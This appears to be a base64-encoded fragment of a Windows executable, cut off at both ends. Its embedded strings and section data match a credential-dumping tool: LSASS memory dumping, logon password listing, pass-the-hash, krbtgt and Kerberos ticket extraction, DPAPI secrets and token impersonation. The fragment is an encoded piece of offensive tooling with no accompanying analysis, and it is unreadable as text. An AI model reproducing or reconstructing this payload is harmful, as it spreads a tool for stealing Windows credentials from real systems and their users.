zAHAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABtAGkAbgBpAGQAdQBtAHAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAAAAAAGsAcgBiAHQAZwB0ACEAAABkAHAAYQBwAGkAcwB5AHMAdABlAG0AAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgAHMAZQBjAHIAZQB0AAAAQQBuAHQAaQBzAG8AYwBpAGEAbAAAAAAAUAByAGUAZgBlAHIAcgBlAGQAIABCAGEAYwBrAHUAcAAgAE0AYQBzAHQAZQByACAAawBlAHkAcwAAAAAAAAAAAHQAaQBjAGsAZQB0AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAAdABpAGMAawBlAHQAcwAAAAAAAABlAGsAZQB5AHMAAAAAAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAAAAAAAEwAaQBzAHQAIABDAGEAYwBoAGUAZAAgAE0AYQBzAHQAZQByAEsAZQB5AHMAAAAAAGMAcgBlAGQAbQBhAG4AAABMAGkAcwB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAATQBhAG4AYQBnAGUAcgAAAAAAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAAAAAAFMAdwBpAHQAYwBoACAAdABvACAAUABSAE8AQwBFAFMAUwAKAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAE0ASQBOAEkARABVAE0AUAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4ATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAIQA9ACAATQBJAE0ASQBLAEEAVABaAF8ATgBUAF8ATQBBAEoATwBSAF8AVgBFAFIAUwBJAE8ATgAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8AQQBNAEQANgA0ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABLAGUAeQAgAGkAbQBwAG8AcgB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AZwBvAG4AIABsAGkAcwB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAG8AZAB1AGwAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAAAAAAJACUAcwAgADoACQAAAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAFUAbgBrAG4AbwB3AG4AIAAhAAAAAAAAAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAE4AZQB0AHcAbwByAGsAAABCAGEAdABjAGgAAAAAAAAAUwBlAHIAdgBpAGMAZQAAAFAAcgBvAHgAeQAAAAAAAABVAG4AbABvAGMAawAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAAAAAAAE4AZQB3AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAAAAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAAAAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEwAbwBnAG8AbgAgAFMAZQByAHYAZQByACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAAAAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUwBJAEQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUAByAGUAdgBpAG8AdQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAASwBEAEMAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAACgAlAHMAIABrAHIAYgB0AGcAdAA6ACAAAAAAAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAoAAAAAAAAAZgB1AGwAbAA6ACAAAAAAAAoAbQAvAHUAIAA6ACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAATgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwB0AHIAdQBzAHQAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAASwBEAEMAIABzAGUAcgB2AGkAYwBlAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHQAcgB1AHMAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHUAcwB0ACAAOwAgAE8AbgBsAHkAIABmAG8AcgAgAD4APQAgADIAMAAwADgAcgAyAAoAAAAAAAAACgAgACAAWwAlAHMAXQAgAAAAAAAAAAAALQA+ACAAJQB3AFoACgAAACUAdwBaACAALQA+AAoAAAAJAGYAcgBvAG0AOgAgAAAACQAqACAAJQBzACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGIAawBlAHkAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAAcgB1AG4AAAB5AGUAcwAAAG4AbwAAAAAAAAAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAaQBtAHAAZQByAHMALgAJADoAIAAlAHMACgAAAAAAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAgACAAfAAgACAATABVAEkARAAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgAAAAAAIAAgAFwAXwAgAG0AcwB2ADEAXwAwACAAIAAgAC0AIAAAAAAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAAAAAAAAqACoAIABUAG8AawBlAG4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAKgAqAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ALwByAGMANAAgAE8AUgAgAGEAZQBzADEAMgA4ACAATwBSACAAYQBlAHMAMgA1ADYACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgA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jAGUAAABDAGwAaQBlAG4AdAAgAFQAaQBjAGsAZQB0ACAAPwAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAVABpAGMAawBlAHQAAAAAAAoACQBHAHIAbwB1AHAAIAAlAHUAIAAtACAAJQBzAAAACgAJACAAKgAgAEsAZQB5ACAATABpAHMAdAAgADoACgAAAAAAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGUAbgB1AG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHQAaAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIABcAF8AIAAqAFAAYQBzAHMAdwBvAHIAZAAgAHIAZQBwAGwAYQBjAGUAIAAtAD4AIAAAAAAAAAAAAG4AdQBsAGwAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAJACAAIAAgAEwAUwBBACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC4AJQBzAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABQcmltYXJ5AENyZWRlbnRpYWxLZXlzAAAKAAkAIABbACUAMAA4AHgAXQAgACUAWgAAAAAAAAA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